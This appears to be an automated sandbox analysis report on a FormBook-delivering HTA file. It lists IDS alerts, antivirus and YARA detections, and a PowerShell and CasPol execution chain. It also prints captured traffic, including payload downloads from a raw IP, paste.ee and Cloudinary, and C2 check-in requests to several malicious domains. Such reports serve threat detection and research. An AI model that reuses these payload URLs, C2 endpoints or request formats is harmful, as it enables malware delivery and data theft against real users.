2024-12-13T07:40:21.748109+0100	2855464	1	A Network Trojan was detected	192.168.2.5	49974	3.33.130.190	80	TCP
2024-12-13T07:40:24.413011+0100	2855464	1	A Network Trojan was detected	192.168.2.5	49981	3.33.130.190	80	TCP

ETPRO MALWARE ReverseLoader Payload Request (GET) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-13T07:38:22.832848+0100	2858795	1	A Network Trojan was detected	192.168.2.5	49712	107.172.44.175	80	TCP

ETPRO MALWARE Terse Request to paste .ee - Possible Download

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-13T07:38:50.029607+0100	2841075	1	Malware Command and Control Activity Detected	192.168.2.5	49753	172.67.187.200	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://www.inastra.online/gbk4/?Vp=Xcz/lKtmYzaclw33ohiXS7QV/Se8Pq+n4C+TPx5KwIQWTY7xXXdhlW/5Nf4u3/jcsrURWrDv59TKoDO7PIpnz5UCXQYozh5iQIbWyk5+2KhSIu7LA9XzMojd0zRss0nm4A==&4j6=34T0Mpup0HM	Avira URL Cloud: Label: malware
Source: http://www.inastra.online/Toyota_F1.cfm?fp=KxtlUTPhWB%2Fwpu6zuo7h6FGLFrhSVbAgHpvfpKEXKXM9CR1rlsw0ig7	Avira URL Cloud: Label: malware
Source: http://www.Inastra.online	Avira URL Cloud: Label: malware
Source: http://www.inastra.online/Opel_Astra.cfm?fp=KxtlUTPhWB%2Fwpu6zuo7h6FGLFrhSVbAgHpvfpKEXKXM9CR1rlsw0ig	Avira URL Cloud: Label: malware
Source: http://www.inastra.online/display.cfm	Avira URL Cloud: Label: malware
Source: http://www.inastra.online/Vintage_Car_Auctions.cfm?fp=KxtlUTPhWB%2Fwpu6zuo7h6FGLFrhSVbAgHpvfpKEXKXM9	Avira URL Cloud: Label: malware
Source: http://www.inastra.online/Toyota_Avensis.cfm?fp=KxtlUTPhWB%2Fwpu6zuo7h6FGLFrhSVbAgHpvfpKEXKXM9CR1rls	Avira URL Cloud: Label: malware
Source: http://www.inastra.online/__media__/js/trademark.php?d=inastra.online&type=ns	Avira URL Cloud: Label: malware
Source: http://www.inastra.online/2019_Toyota_Land_Cruiser.cfm?fp=KxtlUTPhWB%2Fwpu6zuo7h6FGLFrhSVbAgHpvfpKEX	Avira URL Cloud: Label: malware
Source: http://www.inastra.online/__media__/design/underconstructionnotice.php?d=inastra.online	Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Source: goodthhingswithgreatcapitalthingsforgreatnewswithgoodmorng.hta	Virustotal: Detection: 33%			Perma Link
Source: goodthhingswithgreatcapitalthingsforgreatnewswithgoodmorng.hta	ReversingLabs: Detection: 23%

Yara detected FormBook

Source: Yara match	File source: 10.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.3292569182.0000000003210000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3294394478.0000000004EE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2519525934.0000000002D00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2501710464.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3294304837.0000000004E90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2704949585.0000000004F00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3296102797.0000000005890000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Phishing

Yara detected obfuscated html page

Source: Yara match

File source: goodthhingswithgreatcapitalthingsforgreatnewswithgoodmorng.hta, type: SAMPLE

Source: unknown	HTTPS traffic detected: 151.101.1.137:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.200:443 -> 192.168.2.5:49753 version: TLS 1.2

Source:	Binary string: $]q8C:\Users\user\AppData\Local\Temp\j4tmsurx\j4tmsurx.pdb source: powershell.exe, 00000003.00000002.2193576971.0000000005876000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb source: powershell.exe, 00000007.00000002.2449111434.000000000780A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2446732976.0000000007160000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ieUnAtt.pdbGCTL source: CasPol.exe, 0000000A.00000002.2504474616.00000000010D8000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000A.00000002.2504474616.00000000010F7000.00000004.00000020.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000B.00000002.3293587197.0000000000771000.00000004.00000020.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000B.00000002.3293587197.0000000000752000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: xwZkSdnVCDBnu.exe, 0000000B.00000002.3292602593.000000000010E000.00000002.00000001.01000000.0000000C.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000000.2574159916.000000000010E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: ieUnAtt.pdb source: CasPol.exe, 0000000A.00000002.2504474616.00000000010D8000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000A.00000002.2504474616.00000000010F7000.00000004.00000020.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000B.00000002.3293587197.0000000000771000.00000004.00000020.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000B.00000002.3293587197.0000000000752000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: CasPol.exe, 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, ieUnatt.exe, 0000000C.00000003.2507522915.0000000004F24000.00000004.00000020.00020000.00000000.sdmp, ieUnatt.exe, 0000000C.00000003.2504430219.0000000004D75000.00000004.00000020.00020000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3294577035.00000000050D0000.00000040.00001000.00020000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3294577035.000000000526E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: caspol.pdb source: ieUnatt.exe, 0000000C.00000002.3295345373.00000000056FC000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3292845378.000000000343A000.00000004.00000020.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000000.2575663898.000000000345C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A59C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: CasPol.exe, CasPol.exe, 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, ieUnatt.exe, ieUnatt.exe, 0000000C.00000003.2507522915.0000000004F24000.00000004.00000020.00020000.00000000.sdmp, ieUnatt.exe, 0000000C.00000003.2504430219.0000000004D75000.00000004.00000020.00020000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3294577035.00000000050D0000.00000040.00001000.00020000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3294577035.000000000526E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: \\?\C:\Windows\system32\TenantRestrictionsPlugin.dllurx.pdb source: powershell.exe, 00000003.00000002.2201696509.0000000007A50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.dss source: powershell.exe, 00000007.00000002.2449111434.000000000780A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2446732976.0000000007160000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.managed source: powershell.exe, 00000007.00000002.2449111434.000000000780A000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.emitiinstructionoperandresolverieigdnlib.utilslazylist`1iaibdnlib.dotnetpropertyattributesicdnlib.dotnet.mdrawmethodrowdnlib.dotnet.mdrawassemblyrowdnlib.threadingexecutelockeddelegate`3dnlib.dotnetmoduledefmddnlib.ioiimagestreamixiydnlib.dotnetclasssigizdnlib.dotnetstrongnamesignerdnlib.dotnetinvalidkeyexceptionitiuelemequalitycompareriviwipiqdnlib.dotnet.mdrawpropertyptrrowirisdnlib.threadinglistiteratealldelegate`1microsoft.win32.taskscheduler.fluentbasebuilderdnlib.dotnet.mdheapstreamdnlib.pepeimagednlib.dotnetitypedeffindermicrosoft.win32.taskschedulersnapshotitemdnlib.dotnetmemberrefdnlib.dotnetimemberrefresolverdnlib.dotnetconstantuserdnlib.dotnetimethoddecrypterdnlib.dotnetassemblynamecomparerdnlib.dotnetiresolutionscopednlib.dotnetsecurityattributednlib.dotnet.writerpeheadersoptionsdnlib.dotnet.writerioffsetheap`1dnlib.dotnetimethoddnlib.dotnetcorlibtypesdnlib.dotnet.writertablesheapdnlib.dotnet.emitopcodetypednlib.dotnetiassemblyresolverdnlib.dotnetassemblyattributesdnlib.dotneticustomattributetypednlib.dotnetdummyloggerdnlib.dotnet.mdrawfieldptrrowdnlib.dotnetiloggermicrosoft.win32.taskschedulerdailytriggerdnlib.dotnettyperefuserdnlib.dotnet.writerdummymodulewriterlistenerdnlib.dotnetassemblyhashalgorithmdnlib.dotnet.pdbpdbdocumentdnlib.dotnetpinvokeattributesdnlib.dotnetivariablednlib.dotnetresourcednlib.dotnet.writerchunklist`1dnlib.dotnetiistypeormethodmicrosoft.win32.taskschedulercustomtriggerdnlib.dotnet.writerstartupstubdnlib.dotnetgenericinstmethodsigdnlib.dotnetmemberrefuserdnlib.dotnet.mdcomimageflagsdnlib.dotnetgenericparamdnlib.dotnet.writerchunklistbase`1dnlib.utilsextensionsdnlib.dotnetnativetypednlib.dotnet.mdrawenclogrowdnlib.dotnetgenericparamcontextdnlib.peimageoptionalheader64dnlib.dotnet.mdrawnestedclassrowdnlib.dotnetextensionsdnlib.dotneteventdefdnlib.dotnet.emitlocalc`5dnlib.dotneticontainsgenericparameterb`3b`1b`1b`1dnlib.dotnetitokenoperandc`1dnlib.dotnet.writerimdtablednlib.pedllcharacteristicsdnlib.dotnetifullnamednlib.dotnet.resourcesresourcereaderdnlib.dotnetstrongnamepublickeydnlib.dotnet.mdrawassemblyprocessorrowdnlib.dotnetbytearrayequalitycomparerdnlib.dotnet.mdrawmethodsemanticsrowdnlib.ioiimagestreamcreatordnlib.dotnetvtablefixupsmicrosoft.win32.taskschedulertaskprincipalprivilegemicrosoft.win32.taskschedulertasksnapshotdnlib.dotnet.pdbsymbolreadercreatordnlib.dotnet.emitinstructionprinterdnlib.dotnettypeequalitycomparerdnlib.dotnet.mdimagecor20headerdnlib.dotnet.mdirawrowdnlib.dotnet.writermethodbodywriterjgmicrosoft.win32.taskschedulertaskregistrationinfojfjejdjcmicrosoft.win32.taskschedulershowmessageactionjbdnlib.dotnetihasdeclsecuritycomhandlerupdatejamicrosoft.win32.taskschedulereventtriggerdnlib.dotnetimanagedentrypointstartup_informationmicrosoft.win32.taskscheduler.fluentmonthlydowtriggerbuildermicrosoft.win32.taskschedulertaskauditrulednlib.dotnet.writerstrongnamesignaturednlib.dotnetitypednlib.dotnetsentinelsigdnlib.dotnet.mdicolumnreaderdnlib.dotnet.writermodulewritereventdnlib
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb(7q" source: powershell.exe, 00000003.00000002.2203495481.0000000008A68000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\SysWOW64\ieUnatt.exe

Code function: 12_2_0322BFD0 FindFirstFileW,FindNextFileW,FindClose,

12_2_0322BFD0

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\SysWOW64\wscript.exe

Child: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 4x nop then xor eax, eax	12_2_03219B10
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 4x nop then pop edi	12_2_0321DC87
Source: C:\Windows\SysWOW64\ieUnatt.exe	Code function: 4x nop then mov ebx, 00000004h	12_2_04FE04E0
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	Code function: 4x nop then xor eax, eax	14_2_058D456E
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	Code function: 4x nop then pop edi	14_2_058D1119
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	Code function: 4x nop then pop edi	14_2_058DF824

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2858795 - Severity 1 - ETPRO MALWARE ReverseLoader Payload Request (GET) M2 : 192.168.2.5:49712 -> 107.172.44.175:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49868 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49906 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49874 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49929 -> 104.21.31.249:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49851 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49861 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49913 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49968 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49948 -> 104.21.31.249:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49815 -> 208.91.197.27:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49890 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49974 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49935 -> 104.21.31.249:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49991 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49941 -> 104.21.31.249:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49896 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49981 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2049038 - Severity 1 - ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2 : 151.101.1.137:443 -> 192.168.2.5:49713

Connects to a pastebin service (likely for C&C)

Source: unknown

DNS query: name: paste.ee

Source: global traffic	HTTP traffic detected: GET /dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg HTTP/1.1Host: res.cloudinary.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /r/EDVuc/0 HTTP/1.1Host: paste.eeConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 172.67.187.200 172.67.187.200
Source: Joe Sandbox View	IP Address: 172.67.187.200 172.67.187.200
Source: Joe Sandbox View	IP Address: 151.101.1.137 151.101.1.137

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic

Suricata IDS: 2841075 - Severity 1 - ETPRO MALWARE Terse Request to paste .ee - Possible Download : 192.168.2.5:49753 -> 172.67.187.200:443

Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175
Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.44.175

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 3_2_05257A18 URLDownloadToFileW,

3_2_05257A18

Source: global traffic	HTTP traffic detected: GET /dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg HTTP/1.1Host: res.cloudinary.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /r/EDVuc/0 HTTP/1.1Host: paste.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /73/simplecookiebiscutwithsweetnessforentiretime.tIF HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 107.172.44.175Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /gbk4/?Vp=Xcz/lKtmYzaclw33ohiXS7QV/Se8Pq+n4C+TPx5KwIQWTY7xXXdhlW/5Nf4u3/jcsrURWrDv59TKoDO7PIpnz5UCXQYozh5iQIbWyk5+2KhSIu7LA9XzMojd0zRss0nm4A==&4j6=34T0Mpup0HM HTTP/1.1Host: www.inastra.onlineAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900W8 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /aj1a/?Vp=Ur0ZWyFT8OiEfJLk5CDxNCd7dngJ/nUOC6gmTkbLwRlGrqwEpeuL3mntSz3wGsXywBh/uITd5DD6tXUqWwiKRulf6Fi9+BH5MaMcCr6H0zaDwVKxvI7eerOQmaahTyI3Ow==&4j6=34T0Mpup0HM HTTP/1.1Host: www.ortenckt.onlineAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900W8 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /dlcs/?4j6=34T0Mpup0HM&Vp=w6QiAdP8awPLsa7eBVc39wzje3KOivPaseEO6V4cXiHKOPXUCZsKQLVdGPqPnVEzm93wkYEJdOAjyg/exCmJU6Q78y90wryT7YTpVv78cZYTmx3lErHzHgyioKvo20EaEA== HTTP/1.1Host: www.ks1x7i.vipAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900W8 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /j82t/?Vp=NfWXDnAQh5K3pnOvM14VTy+amnJPckA/Yfv/BKk9TV5fOF3SI/PjO3S5UMxnHoxUaRbUJGZsTsQcLMza5Yogw/RRse+ReaiEQqVJDCCAhnW/Ts1pacnUyHPkBApS4T/Gdg==&4j6=34T0Mpup0HM HTTP/1.1Host: www.aaavvejibej.bondAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900W8 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /lrgf/?4j6=34T0Mpup0HM&Vp=hLl6Iyyv1/RGmZWnRJ8bmiMJmTP6dhK4gm2wi1fTCYCBRK5IakRwGOHrv3dZYUH5yIXieuiAG/czDQPLmWqEXri0WwwC7LrF760VohCsOW1AaptwdQrPiPahh9b1GlBygA== HTTP/1.1Host: www.deikamalaharris.infoAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900W8 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36

Source: global traffic	DNS traffic detected: DNS query: res.cloudinary.com
Source: global traffic	DNS traffic detected: DNS query: paste.ee
Source: global traffic	DNS traffic detected: DNS query: www.inastra.online
Source: global traffic	DNS traffic detected: DNS query: www.ortenckt.online
Source: global traffic	DNS traffic detected: DNS query: www.ks1x7i.vip
Source: global traffic	DNS traffic detected: DNS query: www.aaavvejibej.bond
Source: global traffic	DNS traffic detected: DNS query: www.deikamalaharris.info

Source: unknown

HTTP traffic detected: POST /aj1a/ HTTP/1.1Host: www.ortenckt.onlineAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: en-US,enOrigin: http://www.ortenckt.onlineConnection: closeCache-Control: no-cacheContent-Length: 203Content-Type: application/x-www-form-urlencodedReferer: http://www.ortenckt.online/aj1a/User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900W8 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36Data Raw: 56 70 3d 5a 70 63 35 56 46 39 37 30 4a 47 76 53 37 6a 4f 75 44 6e 66 50 31 6c 62 65 58 46 4e 33 52 77 31 4a 71 6f 41 54 31 76 78 76 68 42 46 31 74 45 7a 6f 4a 36 43 38 57 6e 58 55 67 2f 32 49 34 54 78 2f 68 46 39 34 63 4c 70 78 47 75 6c 68 53 4a 36 63 43 2b 61 55 65 4e 71 32 79 4b 6d 79 47 54 4e 4d 36 6f 39 56 2b 57 2b 74 52 4b 6a 31 55 4f 57 6e 65 6d 44 53 71 36 4e 70 4c 33 33 64 41 49 39 62 4e 67 73 49 33 4f 58 36 77 48 70 71 31 4d 79 34 6c 51 72 67 69 6e 63 2b 58 4b 32 61 65 72 6c 64 65 71 7a 4f 48 74 64 39 6d 63 2f 32 4f 52 77 46 61 63 58 52 35 64 45 6b 4a 5a 53 52 48 6a 6b 66 69 52 76 59 54 45 3d Data Ascii: Vp=Zpc5VF970JGvS7jOuDnfP1lbeXFN3Rw1JqoAT1vxvhBF1tEzoJ6C8WnXUg/2I4Tx/hF94cLpxGulhSJ6cC+aUeNq2yKmyGTNM6o9V+W+tRKj1UOWnemDSq6NpL33dAI9bNgsI3OX6wHpq1My4lQrginc+XK2aerldeqzOHtd9mc/2ORwFacXR5dEkJZSRHjkfiRvYTE=

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 13 Dec 2024 06:40:11 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=v410ThmeK2si%2FfMpz0qj%2Bicr4qkTksHjG%2BPzSJItGm1lHzF6X8SKOlMvGIb1sBJvWlYKbDZSfvmgWXycCerLix4lkNI3mKTmv7Wu%2FZoc7KXzXBfKFExeJZieui08v8VmLNhwCaaGnQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f13f61528f343d0-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=1580&min_rtt=1580&rtt_var=790&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=552&delivery_rate=0&cwnd=171&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 